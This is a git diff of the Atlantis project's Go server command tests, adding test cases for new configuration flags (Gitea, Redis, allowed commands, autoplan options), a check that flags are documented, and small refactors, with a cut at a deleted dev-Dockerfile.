type ServerCreatorMock struct{} -func (s *ServerCreatorMock) NewServer(userConfig server.UserConfig, config server.Config) (ServerStarter, error) { +func (s *ServerCreatorMock) NewServer(userConfig server.UserConfig, _ server.Config) (ServerStarter, error) { passedConfig = userConfig return &ServerStarterMock{}, nil } @@ -49,55 +55,116 @@ func (s *ServerStarterMock) Start() error { // Adding a new flag? Add it to this slice for testing in alphabetical // order. var testFlags = map[string]interface{}{ - ADTokenFlag: "ad-token", - ADUserFlag: "ad-user", - ADWebhookPasswordFlag: "ad-wh-pass", - ADWebhookUserFlag: "ad-wh-user", - AtlantisURLFlag: "url", - AllowForkPRsFlag: true, - AllowRepoConfigFlag: true, - AutomergeFlag: true, - BitbucketBaseURLFlag: "https://bitbucket-base-url.com", - BitbucketTokenFlag: "bitbucket-token", - BitbucketUserFlag: "bitbucket-user", - BitbucketWebhookSecretFlag: "bitbucket-secret", - CheckoutStrategyFlag: "merge", - DataDirFlag: "/path", - DefaultTFVersionFlag: "v0.11.0", - DisableApplyAllFlag: true, - DisableApplyFlag: true, - DisableMarkdownFoldingFlag: true, - GHHostnameFlag: "ghhostname", - GHTokenFlag: "token", - GHUserFlag: "user", - GHAppIDFlag: int64(0), - GHAppKeyFileFlag: "", - GHOrganizationFlag: "", - GHWebhookSecretFlag: "secret", - GitlabHostnameFlag: "gitlab-hostname", - GitlabTokenFlag: "gitlab-token", - GitlabUserFlag: "gitlab-user", - GitlabWebhookSecretFlag: "gitlab-secret", - LogLevelFlag: "debug", - AllowDraftPRs: true, - PortFlag: 8181, - ParallelPoolSize: 100, - RepoAllowlistFlag: "github.com/runatlantis/atlantis", - RequireApprovalFlag: true, - RequireMergeableFlag: true, - SilenceForkPRErrorsFlag: true, - SilenceAllowlistErrorsFlag: true, - SilenceVCSStatusNoPlans: true, - SkipCloneNoChanges: true, - SlackTokenFlag: "slack-token", - SSLCertFileFlag: "cert-file", - SSLKeyFileFlag: "key-file", - TFDownloadURLFlag: "https://my-hostname.com", - TFEHostnameFlag: "my-hostname", - TFETokenFlag: "my-token", - VCSStatusName: "my-status", - WriteGitCredsFlag: true, - DisableAutoplanFlag: true, + ADHostnameFlag: "dev.azure.com", + ADTokenFlag: "ad-token", + ADUserFlag: "ad-user", + ADWebhookPasswordFlag: "ad-wh-pass", + ADWebhookUserFlag: "ad-wh-user", + AtlantisURLFlag: "url", + AutoplanModules: false, + AutoplanModulesFromProjects: "", + AllowCommandsFlag: "version,plan,apply,unlock,import,approve_policies", + AllowForkPRsFlag: true, + APISecretFlag: "", + AutoDiscoverModeFlag: "auto", + AutomergeFlag: true, + AutoplanFileListFlag: "**/*.tf,**/*.yml", + BitbucketBaseURLFlag: "https://bitbucket-base-url.com", + BitbucketTokenFlag: "bitbucket-token", + BitbucketUserFlag: "bitbucket-user", + BitbucketWebhookSecretFlag: "bitbucket-secret", + CheckoutStrategyFlag: CheckoutStrategyMerge, + CheckoutDepthFlag: 0, + DataDirFlag: "/path", + DefaultTFDistributionFlag: "terraform", + DefaultTFVersionFlag: "v0.11.0", + DisableApplyAllFlag: true, + DisableMarkdownFoldingFlag: true, + DisableRepoLockingFlag: true, + DisableGlobalApplyLockFlag: false, + DiscardApprovalOnPlanFlag: true, + EmojiReaction: "eyes", + ExecutableName: "atlantis", + FailOnPreWorkflowHookError: false, + GHAllowMergeableBypassApply: false, + GHHostnameFlag: "ghhostname", + GHTeamAllowlistFlag: "", + GHTokenFlag: "token", + GHTokenFileFlag: "", + GHUserFlag: "user", + GHAppIDFlag: int64(0), + GHAppKeyFlag: "", + GHAppKeyFileFlag: "", + GHAppSlugFlag: "atlantis", + GHAppInstallationIDFlag: int64(0), + GHOrganizationFlag: "", + GHWebhookSecretFlag: "secret", + GiteaBaseURLFlag: "http://localhost", + GiteaTokenFlag: "gitea-token", + GiteaUserFlag: "gitea-user", + GiteaWebhookSecretFlag: "gitea-secret", + GiteaPageSizeFlag: 30, + GitlabGroupAllowlistFlag: "", + GitlabHostnameFlag: "gitlab-hostname", + GitlabTokenFlag: "gitlab-token", + GitlabUserFlag: "gitlab-user", + GitlabWebhookSecretFlag: "gitlab-secret", + HideUnchangedPlanComments: false, + HidePrevPlanComments: false, + IncludeGitUntrackedFiles: false, + LockingDBType: "boltdb", + LogLevelFlag: "debug", + MarkdownTemplateOverridesDirFlag: "/path2", + MaxCommentsPerCommand: 10, + StatsNamespace: "atlantis", + AllowDraftPRs: true, + PortFlag: 8181, + ParallelPoolSize: 100, + ParallelPlanFlag: true, + ParallelApplyFlag: true, + QuietPolicyChecks: false, + RedisHost: "", + RedisInsecureSkipVerify: false, + RedisPassword: "", + RedisPort: 6379, + RedisTLSEnabled: false, + RedisDB: 0, + RepoAllowlistFlag: "github.com/runatlantis/atlantis", + RepoConfigFlag: "", + RepoConfigJSONFlag: "", + SilenceNoProjectsFlag: false, + SilenceVCSStatusNoProjectsFlag: false, + SilenceForkPRErrorsFlag: true, + SilenceAllowlistErrorsFlag: true, + SilenceVCSStatusNoPlans: true, + SkipCloneNoChanges: true, + SlackTokenFlag: "slack-token", + SSLCertFileFlag: "cert-file", + SSLKeyFileFlag: "key-file", + RestrictFileList: false, + TFDistributionFlag: "terraform", + TFDownloadFlag: true, + TFDownloadURLFlag: "https://my-hostname.com", + TFEHostnameFlag: "my-hostname", + TFELocalExecutionModeFlag: true, + TFETokenFlag: "my-token", + UseTFPluginCache: true, + VarFileAllowlistFlag: "/path", + VCSStatusName: "my-status", + IgnoreVCSStatusNames: "", + WebhookHttpHeaders: `{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}`, + WebBasicAuthFlag: false, + WebPasswordFlag: "atlantis", + WebUsernameFlag: "atlantis", + WebsocketCheckOrigin: false, + WriteGitCredsFlag: true, + DisableAutoplanFlag: true, + DisableAutoplanLabelFlag: "no-auto-plan", + DisableUnlockLabelFlag: "do-not-unlock", + EnablePolicyChecksFlag: false, + EnableRegExpCmdFlag: false, + EnableDiffMarkdownFormat: false, + EnableProfilingAPI: false, } func TestExecute_Defaults(t *testing.T) { @@ -106,8 +173,9 @@ func TestExecute_Defaults(t *testing.T) { c := setup(map[string]interface{}{ GHUserFlag: "user", GHTokenFlag: "token", + GiteaBaseURLFlag: "http://localhost", RepoAllowlistFlag: "*", - }) + }, t) err := c.Execute() Ok(t, err) @@ -115,16 +183,21 @@ func TestExecute_Defaults(t *testing.T) { hostname, err := os.Hostname() Ok(t, err) - // Get our home dir since that's what data-dir defaulted to. + // Get our home dir since that's what data-dir and markdown-template-overrides-dir defaulted to. dataDir, err := homedir.Expand("~/.atlantis") Ok(t, err) + markdownTemplateOverridesDir, err := homedir.Expand("~/.markdown_templates") + Ok(t, err) strExceptions := map[string]string{ - GHUserFlag: "user", - GHTokenFlag: "token", - DataDirFlag: dataDir, - AtlantisURLFlag: "http://" + hostname + ":4141", - RepoAllowlistFlag: "*", + GHUserFlag: "user", + GHTokenFlag: "token", + GiteaBaseURLFlag: "http://localhost", + DataDirFlag: dataDir, + MarkdownTemplateOverridesDirFlag: markdownTemplateOverridesDir, + AtlantisURLFlag: "http://" + hostname + ":4141", + RepoAllowlistFlag: "*", + VarFileAllowlistFlag: dataDir, } strIgnore := map[string]bool{ "config": true, @@ -151,7 +224,7 @@ func TestExecute_Defaults(t *testing.T) { func TestExecute_Flags(t *testing.T) { t.Log("Should use all flags that are set.") - c := setup(testFlags) + c := setup(testFlags, t) err := c.Execute() Ok(t, err) for flag, exp := range testFlags { @@ -159,17 +232,141 @@ func TestExecute_Flags(t *testing.T) { } } +func getUserConfigKeysWithFlags() []string { + var ret []string + u := reflect.TypeOf(server.UserConfig{}) + + for i := 0; i < u.NumField(); i++ { + + userConfigKey := u.Field(i).Tag.Get("mapstructure") + // By default, we expect all fields in UserConfig to have flags defined in server.go and tested here in server_test.go + // Some fields are too complicated to have flags, so are only expressible in the config yaml + flagKey := u.Field(i).Tag.Get("flag") + if flagKey == "false" { + continue + } + ret = append(ret, userConfigKey) + + } + return ret + +} + +func TestUserConfigAllTested(t *testing.T) { + t.Log("All settings in userConfig should be tested.") + + for _, userConfigKey := range getUserConfigKeysWithFlags() { + + t.Run(userConfigKey, func(t *testing.T) { + // If a setting is configured in server.UserConfig, it should be tested here. If there is no corresponding const + // for specifying the flag, that probably means one *also* needs to be added to server.go + if _, ok := testFlags[userConfigKey]; !ok { + t.Errorf("server.UserConfig has field with mapstructure %s that is not tested, and potentially also not configured as a flag. Either add it to testFlags (and potentially as a const in cmd/server), or remove it from server.UserConfig", userConfigKey) + } + }) + + } + +} + +func getDocumentedFlags(t *testing.T) []string { + + var ret []string + docFile := "../runatlantis.io/docs/server-configuration.md" + + file, err := os.Open(docFile) + Ok(t, err) + defer file.Close() + + scanner := bufio.NewScanner(file) + for scanner.Scan() { + line := scanner.Text() + if !strings.HasPrefix(line, "### ") { + continue + } + split := strings.Split(line, "`") + if len(split) != 3 { + t.Errorf("Unexpected line in %s: %s", docFile, line) + continue + } + flag := split[1] + if !strings.HasPrefix(flag, "--") { + t.Errorf("Unexpected line in %s: %s", docFile, line) + continue + } + flag = strings.TrimPrefix(flag, "--") + ret = append(ret, flag) + } + + err = scanner.Err() + Ok(t, err) + + return ret +} + +func testIsSorted[S ~[]E, E cmp.Ordered](t *testing.T, x S) { + // TODO: This is n^2, probably a better algorithm for this + // Also, this works best for lists that are mostly sorted, if the whole thing is wrong, it's just + // going to say that every individual element is out of order + for i, elem := range x { + for j, compareTo := range x { + if i == j { + continue + } + if i > j && cmp.Less(elem, compareTo) { + t.Errorf("%v is out of order (should be before %v)", elem, compareTo) + break + } + if i < j && cmp.Less(compareTo, elem) { + t.Errorf("%v is out of order (should be after %v)", elem, compareTo) + break + } + } + } +} + +func TestAllFlagsDocumented(t *testing.T) { + // This is not a unit test per se, but is a helpful way of making sure when flags are added/removed + // the corresponding documentation is kept up-to-date. + t.Log("All flags in userConfig should have documentation in server-configuration.md.") + + userConfigKeys := getUserConfigKeysWithFlags() + documentedFlags := getDocumentedFlags(t) + + testIsSorted(t, documentedFlags) + slices.Sort(userConfigKeys) + slices.Sort(documentedFlags) + + for _, userConfigKey := range userConfigKeys { + _, found := slices.BinarySearch(documentedFlags, userConfigKey) + if !found { + t.Errorf("Found undocumented config key: %s", userConfigKey) + } + } + + for _, documentedFlag := range documentedFlags { + // --help and --config are documented but don't have a setting on userConfig + if documentedFlag == "help" || documentedFlag == "config" { + continue + } + _, found := slices.BinarySearch(userConfigKeys, documentedFlag) + if !found { + t.Errorf("Found documentation for flag that doesn't exist: %s", documentedFlag) + } + } + +} + func TestExecute_ConfigFile(t *testing.T) { t.Log("Should use all the values from the config file.") - var cfgContents string - for flag, value := range testFlags { - cfgContents += fmt.Sprintf("%s: %v\n", flag, value) - } - tmpFile := tempFile(t, cfgContents) + // Use yaml package to quote values that need quoting + cfgContents, yamlErr := yaml.Marshal(&testFlags) + Ok(t, yamlErr) + tmpFile := tempFile(t, string(cfgContents)) defer os.Remove(tmpFile) // nolint: errcheck c := setup(map[string]interface{}{ ConfigFlag: tmpFile, - }) + }, t) err := c.Execute() Ok(t, err) for flag, exp := range testFlags { @@ -184,7 +381,7 @@ func TestExecute_EnvironmentVariables(t *testing.T) { os.Setenv(envKey, fmt.Sprintf("%v", value)) // nolint: errcheck defer func(key string) { os.Unsetenv(key) }(envKey) } - c := setup(nil) + c := setup(nil, t) err := c.Execute() Ok(t, err) for flag, exp := range testFlags { @@ -196,7 +393,7 @@ func TestExecute_NoConfigFlag(t *testing.T) { t.Log("If there is no config flag specified Execute should return nil.") c := setupWithDefaults(map[string]interface{}{ ConfigFlag: "", - }) + }, t) err := c.Execute() Ok(t, err) } @@ -205,7 +402,7 @@ func TestExecute_ConfigFileExtension(t *testing.T) { t.Log("If the config file doesn't have an extension then error.") c := setupWithDefaults(map[string]interface{}{ ConfigFlag: "does-not-exist", - }) + }, t) err := c.Execute() Equals(t, "invalid config: reading does-not-exist: Unsupported Config Type \"\"", err.Error()) } @@ -214,7 +411,7 @@ func TestExecute_ConfigFileMissing(t *testing.T) { t.Log("If the config file doesn't exist then error.") c := setupWithDefaults(map[string]interface{}{ ConfigFlag: "does-not-exist.yaml", - }) + }, t) err := c.Execute() Equals(t, "invalid config: reading does-not-exist.yaml: open does-not-exist.yaml: no such file or directory", err.Error()) } @@ -225,7 +422,7 @@ func TestExecute_ConfigFileExists(t *testing.T) { defer os.Remove(tmpFile) // nolint: errcheck c := setupWithDefaults(map[string]interface{}{ ConfigFlag: tmpFile, - }) + }, t) err := c.Execute() Ok(t, err) } @@ -236,7 +433,7 @@ func TestExecute_InvalidConfig(t *testing.T) { defer os.Remove(tmpFile) // nolint: errcheck c := setupWithDefaults(map[string]interface{}{ ConfigFlag: tmpFile, - }) + }, t) err := c.Execute() Assert(t, strings.Contains(err.Error(), "unmarshal errors"), "should be an unmarshal error") } @@ -247,7 +444,7 @@ func TestExecute_RepoAllowlistScheme(t *testing.T) { GHUserFlag: "user", GHTokenFlag: "token", RepoAllowlistFlag: "http://github.com/*", - }) + }, t) err := c.Execute() Assert(t, err != nil, "should be an error") Equals(t, "--repo-allowlist cannot contain ://, should be hostnames only", err.Error()) @@ -276,7 +473,7 @@ func TestExecute_ValidateLogLevel(t *testing.T) { } for _, testCase := range cases { t.Log("Should validate log level when " + testCase.description) - c := setupWithDefaults(testCase.flags) + c := setupWithDefaults(testCase.flags, t) err := c.Execute() if testCase.expectError { Assert(t, err != nil, "should be an error") @@ -289,7 +486,7 @@ func TestExecute_ValidateLogLevel(t *testing.T) { func TestExecute_ValidateCheckoutStrategy(t *testing.T) { c := setupWithDefaults(map[string]interface{}{ CheckoutStrategyFlag: "invalid", - }) + }, t) err := c.Execute() ErrEquals(t, "invalid checkout strategy: not one of branch or merge", err) } @@ -331,7 +528,7 @@ func TestExecute_ValidateSSLConfig(t *testing.T) { } for _, testCase := range cases { t.Log("Should validate ssl config when " + testCase.description) - c := setupWithDefaults(testCase.flags) + c := setupWithDefaults(testCase.flags, t) err := c.Execute() if testCase.expectError { Assert(t, err != nil, "should be an error") @@ -343,7 +540,7 @@ func TestExecute_ValidateSSLConfig(t *testing.T) { } func TestExecute_ValidateVCSConfig(t *testing.T) { - expErr := "--gh-user/--gh-token or --gh-app-id/--gh-app-key-file or --gitlab-user/--gitlab-token or --bitbucket-user/--bitbucket-token or --azuredevops-user/--azuredevops-token must be set" + expErr := "--gh-user/--gh-token or --gh-user/--gh-token-file or --gh-app-id/--gh-app-key-file or --gh-app-id/--gh-app-key or --gitea-user/--gitea-token or --gitlab-user/--gitlab-token or --bitbucket-user/--bitbucket-token or --azuredevops-user/--azuredevops-token must be set" cases := []struct { description string flags map[string]interface{} @@ -361,6 +558,13 @@ func TestExecute_ValidateVCSConfig(t *testing.T) { }, true, }, + { + "just gitea token set", + map[string]interface{}{ + GiteaTokenFlag: "token", + }, + true, + }, { "just gitlab token set", map[string]interface{}{ @@ -389,6 +593,13 @@ func TestExecute_ValidateVCSConfig(t *testing.T) { }, true, }, + { + "just gitea user set", + map[string]interface{}{ + GiteaUserFlag: "user", + }, + true, + }, { "just github app set", map[string]interface{}{ @@ -397,12 +608,19 @@ func TestExecute_ValidateVCSConfig(t *testing.T) { true, }, { - "just github app key set", + "just github app key file set", map[string]interface{}{ GHAppKeyFileFlag: "key.pem", }, true, }, + { + "just github app key set", + map[string]interface{}{ + GHAppKeyFlag: testdata.GithubPrivateKey, + }, + true, + }, { "just gitlab user set", map[string]interface{}{ @@ -448,6 +666,22 @@ func TestExecute_ValidateVCSConfig(t *testing.T) { }, true, }, + { + "github user and gitea token set", + map[string]interface{}{ + GHUserFlag: "user", + GiteaTokenFlag: "token", + }, + true, + }, + { + "gitea user and github token set", + map[string]interface{}{ + GiteaUserFlag: "user", + GHTokenFlag: "token", + }, + true, + }, { "github user and github token set and should be successful", map[string]interface{}{ @@ -457,13 +691,46 @@ func TestExecute_ValidateVCSConfig(t *testing.T) { false, }, { - "github app and key set and should be successful", + "github user and github token file and should be successful", + map[string]interface{}{ + GHUserFlag: "user", + GHTokenFileFlag: "/path/to/token", + }, + false, + }, + { + "github user, github token, and github token file and should fail", + map[string]interface{}{ + GHUserFlag: "user", + GHTokenFlag: "token", + GHTokenFileFlag: "/path/to/token", + }, + true, + }, + { + "gitea user and gitea token set and should be successful", + map[string]interface{}{ + GiteaUserFlag: "user", + GiteaTokenFlag: "token", + }, + false, + }, + { + "github app and key file set and should be successful", map[string]interface{}{ GHAppIDFlag: "1", GHAppKeyFileFlag: "key.pem", }, false, }, + { + "github app and key set and should be successful", + map[string]interface{}{ + GHAppIDFlag: "1", + GHAppKeyFlag: testdata.GithubPrivateKey, + }, + false, + }, { "gitlab user and gitlab token set and should be successful", map[string]interface{}{ @@ -493,6 +760,8 @@ func TestExecute_ValidateVCSConfig(t *testing.T) { map[string]interface{}{ GHUserFlag: "user", GHTokenFlag: "token", + GiteaUserFlag: "user", + GiteaTokenFlag: "token", GitlabUserFlag: "user", GitlabTokenFlag: "token", BitbucketUserFlag: "user", @@ -507,7 +776,7 @@ func TestExecute_ValidateVCSConfig(t *testing.T) { t.Log("Should validate vcs config when " + testCase.description) testCase.flags[RepoAllowlistFlag] = "*" - c := setup(testCase.flags) + c := setup(testCase.flags, t) err := c.Execute() if testCase.expectError { Assert(t, err != nil, "should be an error") @@ -518,6 +787,36 @@ func TestExecute_ValidateVCSConfig(t *testing.T) { } } +func TestExecute_ValidateAllowCommands(t *testing.T) { + cases := []struct { + name string + allowCommandsFlag string + expErr string + }{ + { + name: "invalid allow commands", + allowCommandsFlag: "noallow", + expErr: "invalid --allow-commands: unknown command name: noallow", + }, + { + name: "success with empty allow commands", + allowCommandsFlag: "", + expErr: "", + }, + } + for _, testCase := range cases { + c := setupWithDefaults(map[string]interface{}{ + AllowCommandsFlag: testCase.allowCommandsFlag, + }, t) + err := c.Execute() + if testCase.expErr != "" { + ErrEquals(t, testCase.expErr, err) + } else { + Ok(t, err) + } + } +} + func TestExecute_ExpandHomeInDataDir(t *testing.T) { t.Log("If ~ is used as a data-dir path, should expand to absolute home path") c := setup(map[string]interface{}{ @@ -525,7 +824,7 @@ func TestExecute_ExpandHomeInDataDir(t *testing.T) { GHTokenFlag: "token", RepoAllowlistFlag: "*", DataDirFlag: "~/this/is/a/path", - }) + }, t) err := c.Execute() Ok(t, err) @@ -538,7 +837,7 @@ func TestExecute_RelativeDataDir(t *testing.T) { t.Log("Should convert relative dir to absolute.") c := setupWithDefaults(map[string]interface{}{ DataDirFlag: "../", - }) + }, t) // Figure out what ../ should be as an absolute path. expectedAbsolutePath, err := filepath.Abs("../") @@ -555,7 +854,7 @@ func TestExecute_GithubUser(t *testing.T) { GHUserFlag: "@user", GHTokenFlag: "token", RepoAllowlistFlag: "*", - }) + }, t) err := c.Execute() Ok(t, err) @@ -565,23 +864,51 @@ func TestExecute_GithubUser(t *testing.T) { func TestExecute_GithubApp(t *testing.T) { t.Log("Should remove the @ from the github username if it's passed.") c := setup(map[string]interface{}{ - GHAppKeyFileFlag: "key.pem", + GHAppKeyFlag: testdata.GithubPrivateKey, GHAppIDFlag: "1", RepoAllowlistFlag: "*", - }) + }, t) err := c.Execute() Ok(t, err) Equals(t, int64(1), passedConfig.GithubAppID) } +func TestExecute_GithubAppWithInstallationID(t *testing.T) { + t.Log("Should pass the installation ID to the config.") + c := setup(map[string]interface{}{ + GHAppKeyFlag: testdata.GithubPrivateKey, + GHAppIDFlag: "1", + GHAppInstallationIDFlag: "2", + RepoAllowlistFlag: "*", + }, t) + err := c.Execute() + Ok(t, err) + + Equals(t, int64(1), passedConfig.GithubAppID) + Equals(t, int64(2), passedConfig.GithubAppInstallationID) +} + +func TestExecute_GiteaUser(t *testing.T) { + t.Log("Should remove the @ from the gitea username if it's passed.") + c := setup(map[string]interface{}{ + GiteaUserFlag: "@user", + GiteaTokenFlag: "token", + RepoAllowlistFlag: "*", + }, t) + err := c.Execute() + Ok(t, err) + + Equals(t, "user", passedConfig.GiteaUser) +} + func TestExecute_GitlabUser(t *testing.T) { t.Log("Should remove the @ from the gitlab username if it's passed.") c := setup(map[string]interface{}{ GitlabUserFlag: "@user", GitlabTokenFlag: "token", RepoAllowlistFlag: "*", - }) + }, t) err := c.Execute() Ok(t, err) @@ -594,7 +921,7 @@ func TestExecute_BitbucketUser(t *testing.T) { BitbucketUserFlag: "@user", BitbucketTokenFlag: "token", RepoAllowlistFlag: "*", - }) + }, t) err := c.Execute() Ok(t, err) @@ -607,25 +934,13 @@ func TestExecute_ADUser(t *testing.T) { ADUserFlag: "@user", ADTokenFlag: "token", RepoAllowlistFlag: "*", - }) + }, t) err := c.Execute() Ok(t, err) Equals(t, "user", passedConfig.AzureDevopsUser) } -// If using bitbucket cloud, webhook secrets are not supported. -func TestExecute_BitbucketCloudWithWebhookSecret(t *testing.T) { - c := setup(map[string]interface{}{ - BitbucketUserFlag: "user", - BitbucketTokenFlag: "token", - RepoAllowlistFlag: "*", - BitbucketWebhookSecretFlag: "my secret", - }) - err := c.Execute() - ErrEquals(t, "--bitbucket-webhook-secret cannot be specified for Bitbucket Cloud because it is not supported by Bitbucket", err) -} - // Base URL must have a scheme. func TestExecute_BitbucketServerBaseURLScheme(t *testing.T) { c := setup(map[string]interface{}{ @@ -633,7 +948,7 @@ func TestExecute_BitbucketServerBaseURLScheme(t *testing.T) { BitbucketTokenFlag: "token", RepoAllowlistFlag: "*", BitbucketBaseURLFlag: "mydomain.com", - }) + }, t) ErrEquals(t, "--bitbucket-base-url must have http:// or https://, got \"mydomain.com\"", c.Execute()) c = setup(map[string]interface{}{ @@ -641,7 +956,7 @@ func TestExecute_BitbucketServerBaseURLScheme(t *testing.T) { BitbucketTokenFlag: "token", RepoAllowlistFlag: "*", BitbucketBaseURLFlag: "://mydomain.com", - }) + }, t) ErrEquals(t, "error parsing --bitbucket-webhook-secret flag value \"://mydomain.com\": parse \"://mydomain.com\": missing protocol scheme", c.Execute()) } @@ -652,7 +967,7 @@ func TestExecute_BitbucketServerBaseURLPort(t *testing.T) { BitbucketTokenFlag: "token", RepoAllowlistFlag: "*", BitbucketBaseURLFlag: "http://mydomain.com:7990", - }) + }, t) Ok(t, c.Execute()) Equals(t, "http://mydomain.com:7990", passedConfig.BitbucketBaseURL) } @@ -665,7 +980,7 @@ func TestExecute_RepoCfgFlags(t *testing.T) { RepoAllowlistFlag: "github.com", RepoConfigFlag: "repos.yaml", RepoConfigJSONFlag: "{}", - }) + }, t) err := c.Execute() ErrEquals(t, "cannot use --repo-config and --repo-config-json at the same time", err) } @@ -677,62 +992,126 @@ func TestExecute_TFEHostnameOnly(t *testing.T) { GHTokenFlag: "token", RepoAllowlistFlag: "github.com", TFEHostnameFlag: "not-app.terraform.io", - }) + }, t) err := c.Execute() ErrEquals(t, "if setting --tfe-hostname, must set --tfe-token", err) } -// Can't use both --repo-allowlist and --repo-whitelist -func TestExecute_BothAllowAndWhitelist(t *testing.T) { - c := setup(map[string]interface{}{ - GHUserFlag: "user", - GHTokenFlag: "token", - RepoAllowlistFlag: "github.com", - RepoWhitelistFlag: "github.com", - }) - err := c.Execute() - ErrEquals(t, "both --repo-allowlist and --repo-whitelist cannot be set–use --repo-allowlist", err) -} - // Must set allow or whitelist. func TestExecute_AllowAndWhitelist(t *testing.T) { c := setup(map[string]interface{}{ GHUserFlag: "user", GHTokenFlag: "token", - }) + }, t) err := c.Execute() ErrEquals(t, "--repo-allowlist must be set for security purposes", err) } -// Can't use both --silence-whitelist-errors and --silence-allowlist-errors -func TestExecute_BothSilenceAllowAndWhitelistErrors(t *testing.T) { - c := setup(map[string]interface{}{ - GHUserFlag: "user", - GHTokenFlag: "token", - RepoAllowlistFlag: "*", - SilenceWhitelistErrorsFlag: true, - SilenceAllowlistErrorsFlag: true, - }) +func TestExecute_AutoDetectModulesFromProjects_Env(t *testing.T) { + t.Setenv("ATLANTIS_AUTOPLAN_MODULES_FROM_PROJECTS", "**/init.tf") + c := setupWithDefaults(map[string]interface{}{}, t) err := c.Execute() - ErrEquals(t, "both --silence-allowlist-errors and --silence-whitelist-errors cannot be set–use --silence-allowlist-errors", err) + Ok(t, err) + Equals(t, "**/init.tf", passedConfig.AutoplanModulesFromProjects) } -// Test that we set the corresponding allow list values on the userConfig -// struct if the deprecated whitelist flags are used. -func TestExecute_RepoWhitelistDeprecation(t *testing.T) { - c := setup(map[string]interface{}{ - GHUserFlag: "user", - GHTokenFlag: "token", - RepoWhitelistFlag: "*", - SilenceWhitelistErrorsFlag: true, - }) +func TestExecute_AutoDetectModulesFromProjects(t *testing.T) { + c := setupWithDefaults(map[string]interface{}{ + AutoplanModulesFromProjects: "**/*.tf", + }, t) err := c.Execute() Ok(t, err) - Equals(t, true, passedConfig.SilenceAllowlistErrors) - Equals(t, "*", passedConfig.RepoAllowlist) + Equals(t, "**/*.tf", passedConfig.AutoplanModulesFromProjects) } -func setup(flags map[string]interface{}) *cobra.Command { +func TestExecute_AutoplanFileList(t *testing.T) { + cases := []struct { + description string + flags map[string]interface{} + expectErr string + }{ + { + "default value", + map[string]interface{}{ + AutoplanFileListFlag: DefaultAutoplanFileList, + }, + "", + }, + { + "valid value", + map[string]interface{}{ + AutoplanFileListFlag: "**/*.tf", + }, + "", + }, + { + "invalid exclusion pattern", + map[string]interface{}{ + AutoplanFileListFlag: "**/*.yml,!", + }, + "invalid pattern in --autoplan-file-list, **/*.yml,!: illegal exclusion pattern: \"!\"", + }, + { + "invalid pattern", + map[string]interface{}{ + AutoplanFileListFlag: "[^]", + }, + "invalid pattern in --autoplan-file-list, [^]: syntax error in pattern", + }, + } + for _, testCase := range cases { + t.Log("Should validate autoplan file list when " + testCase.description) + c := setupWithDefaults(testCase.flags, t) + err := c.Execute() + if testCase.expectErr != "" { + ErrEquals(t, testCase.expectErr, err) + } else { + Ok(t, err) + } + } +} + +func TestExecute_ValidateDefaultTFDistribution(t *testing.T) { + cases := []struct { + description string + flags map[string]interface{} + expectErr string + }{ + { + "terraform", + map[string]interface{}{ + DefaultTFDistributionFlag: "terraform", + }, + "", + }, + { + "opentofu", + map[string]interface{}{ + DefaultTFDistributionFlag: "opentofu", + }, + "", + }, + { + "errs on invalid distribution", + map[string]interface{}{ + DefaultTFDistributionFlag: "invalid_distribution", + }, + "invalid tf distribution: expected one of terraform or opentofu", + }, + } + for _, testCase := range cases { + t.Log("Should validate default tf distribution when " + testCase.description) + c := setupWithDefaults(testCase.flags, t) + err := c.Execute() + if testCase.expectErr != "" { + ErrEquals(t, testCase.expectErr, err) + } else { + Ok(t, err) + } + } +} + +func setup(flags map[string]interface{}, t *testing.T) *cobra.Command { vipr := viper.New() for k, v := range flags { vipr.Set(k, v) @@ -741,11 +1120,12 @@ func setup(flags map[string]interface{}) *cobra.Command { ServerCreator: &ServerCreatorMock{}, Viper: vipr, SilenceOutput: true, + Logger: logging.NewNoopLogger(t), } return c.Init() } -func setupWithDefaults(flags map[string]interface{}) *cobra.Command { +func setupWithDefaults(flags map[string]interface{}, t *testing.T) *cobra.Command { vipr := viper.New() flags[GHUserFlag] = "user" flags[GHTokenFlag] = "token" @@ -758,17 +1138,18 @@ func setupWithDefaults(flags map[string]interface{}) *cobra.Command { ServerCreator: &ServerCreatorMock{}, Viper: vipr, SilenceOutput: true, + Logger: logging.NewNoopLogger(t), } return c.Init() } func tempFile(t *testing.T, contents string) string { - f, err := ioutil.TempFile("", "") + f, err := os.CreateTemp("", "") Ok(t, err) newName := f.Name() + ".yaml" err = os.Rename(f.Name(), newName) Ok(t, err) - ioutil.WriteFile(newName, []byte(contents), 0644) // nolint: errcheck + os.WriteFile(newName, []byte(contents), 0600) // nolint: errcheck return newName } @@ -784,3 +1165,45 @@ func configVal(t *testing.T, u server.UserConfig, tag string) interface{} { t.Fatalf("no field with tag %q found", tag) return nil } + +// Gitea base URL must have a scheme. +func TestExecute_GiteaBaseURLScheme(t *testing.T) { + c := setup(map[string]interface{}{ + GiteaUserFlag: "user", + GiteaTokenFlag: "token", + RepoAllowlistFlag: "*", + GiteaBaseURLFlag: "mydomain.com", + }, t) + ErrEquals(t, "--gitea-base-url must have http:// or https://, got \"mydomain.com\"", c.Execute()) + + c = setup(map[string]interface{}{ + GiteaUserFlag: "user", + GiteaTokenFlag: "token", + RepoAllowlistFlag: "*", + GiteaBaseURLFlag: "://mydomain.com", + }, t) + ErrEquals(t, "error parsing --gitea-webhook-secret flag value \"://mydomain.com\": parse \"://mydomain.com\": missing protocol scheme", c.Execute()) +} + +func TestExecute_GiteaWithWebhookSecret(t *testing.T) { + c := setup(map[string]interface{}{ + GiteaUserFlag: "user", + GiteaTokenFlag: "token", + RepoAllowlistFlag: "*", + GiteaWebhookSecretFlag: "my secret", + }, t) + err := c.Execute() + Ok(t, err) +} + +// Port should be retained on base url. +func TestExecute_GiteaBaseURLPort(t *testing.T) { + c := setup(map[string]interface{}{ + GiteaUserFlag: "user", + GiteaTokenFlag: "token", + RepoAllowlistFlag: "*", + GiteaBaseURLFlag: "http://mydomain.com:7990", + }, t) + Ok(t, c.Execute()) + Equals(t, "http://mydomain.com:7990", passedConfig.GiteaBaseURL) +} diff --git a/cmd/version.go b/cmd/version.go index 7b9da77979..0db82f1796 100644 --- a/cmd/version.go +++ b/cmd/version.go @@ -29,7 +29,7 @@ func (v *VersionCmd) Init() *cobra.Command { return &cobra.Command{ Use: "version", Short: "Print the current Atlantis version", - Run: func(cmd *cobra.Command, args []string) { + Run: func(_ *cobra.Command, _ []string) { fmt.Printf("atlantis %s\n", v.AtlantisVersion) }, } diff --git a/dev-Dockerfile b/dev-Dockerfile deleted file mode 100644 index 4a3d3b724b..0000000000 --- a/dev-Dockerfile +++ /dev/null @@ 